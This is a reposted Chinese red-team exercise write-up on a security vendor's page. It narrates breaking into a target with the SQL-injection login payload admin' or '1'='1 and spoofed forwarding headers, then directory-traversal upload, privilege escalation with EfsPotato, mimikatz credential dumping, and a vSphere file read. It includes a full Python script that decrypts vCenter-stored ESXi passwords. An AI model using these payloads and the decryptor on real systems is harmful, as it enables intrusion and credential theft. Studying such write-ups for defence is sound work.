攻防演练文件上传跨目录突破技巧_集群智慧网络安全云
全国客户服务热线:4006-054-001 疑难解答:159-9855-7370(7X24受理投诉、建议、合作、售前咨询),173-0411-9111(售前),155-4267-2990(售前),座机/传真:0411-83767788(售后),微信咨询:543646
企业服务导航

攻防演练文件上传跨目录突破技巧

发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370


攻防演练文件上传跨目录突破技巧

1► 前言 随着演练常态化后,这比赛越来越难打了,身为一个0day匮乏的安服仔生存压力好大。这次小领导给压力了难打兄弟也要冲一把,用简单朴素得口令继续日站。 2► 正文 fofa找到了一个可以爆破的资产,一波弱口令没进去,本想扭头跑路,随手试了一下万能密码,这站也没太大反应。 admin' or '1'='1/111 万能密码加个XFF头登录进来了,既然破站给机会了这波就要珍惜。 X-Real-IP: 127.0.0.1X-Forwarded-For (XFF): 127.0.0.1X-Forwarded-Host: 127.0.0.1X-Client-IP: 127.0.0.1 找到一处文件上传点,上传文件提示路径缺失。 这里下一步思路基本上就是跨目录了。 目录穿越文件上传边界突破、(身为一个安服仔,到这里其实可以和领导交差了。漏扫得工资干这个确实伤身体) 推荐一个好用的哥斯拉土豆提权插件 https://github.com/zcgonvh/EfsPotato 直接system权限 用抓mimi抓密码,找到口令,复用了几台机器权限发现全都在虚拟化环境上。 去poc扫描一波,找到vSphere。 踩了一些POC只发现一个任意文件读取漏洞,直接读取默认配置文件获取到mssql账密。 由于mssql执行命令低权限并且有杀软,命令执行拿vc控制权有些费劲 于是尝试使用VC数据库解密工具,对其数据库账密进行解密登录esxi。 https://github.com/shmilylty/vhost_password_decrypt vhost_password_decrypt 这工具多多少少有些bug,浪费了很多时间改工具,改好得源码给大家放下面了。 import base64import sys from Crypto.Cipher import AES usage='''usage: python3 decrypt.py symkey.dat password.enc''' def pkcs7unpadding(text): length = len(text) padding_length = ord(text[-1]) return text[0:length-padding_length] def decrypt(key, enc_passwords): passwords = [] key_bytes = bytes.fromhex(key) for enc_password in enc_passwords: content = base64.b64decode(enc_password) iv_bytes = content[:16] enc_password_bytes = content[16:] cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes) password_bytes = cipher.decrypt(enc_password_bytes) password = str(password_bytes, encoding='utf-8') password = pkcs7unpadding(password) line = f'{password}' print(line) # show the password as you save it to a file passwords.append(line) return passwords def save_decrypt_password(path, passwords): data = '\n'.join(passwords) with open(path, 'w') as file: file.write(data) def get_encrypt_password(path): enc_passwords = [] with open(path, 'r') as file: for line in file: line = line.strip().strip('*') enc_passwords.append(line) return enc_passwords def get_key(path): with open(path, 'r') as file: key = file.read().strip() return key def main(): if len(sys.argv) != 3: print(usage) exit(1) key = get_key(sys.argv[1]) encrypt_passwords = get_encrypt_password(sys.argv[2]) save_path = "result.txt" passwords = decrypt(key, encrypt_passwords) save_decrypt_password(save_path, passwords) if __name__ == '__main__': main() 解密后登录4台ESXI 解密后得dmo东西: 文章来源:李白你好 黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担! 如侵权请私聊我们删文 END

攻防演练文件上传跨目录突破技巧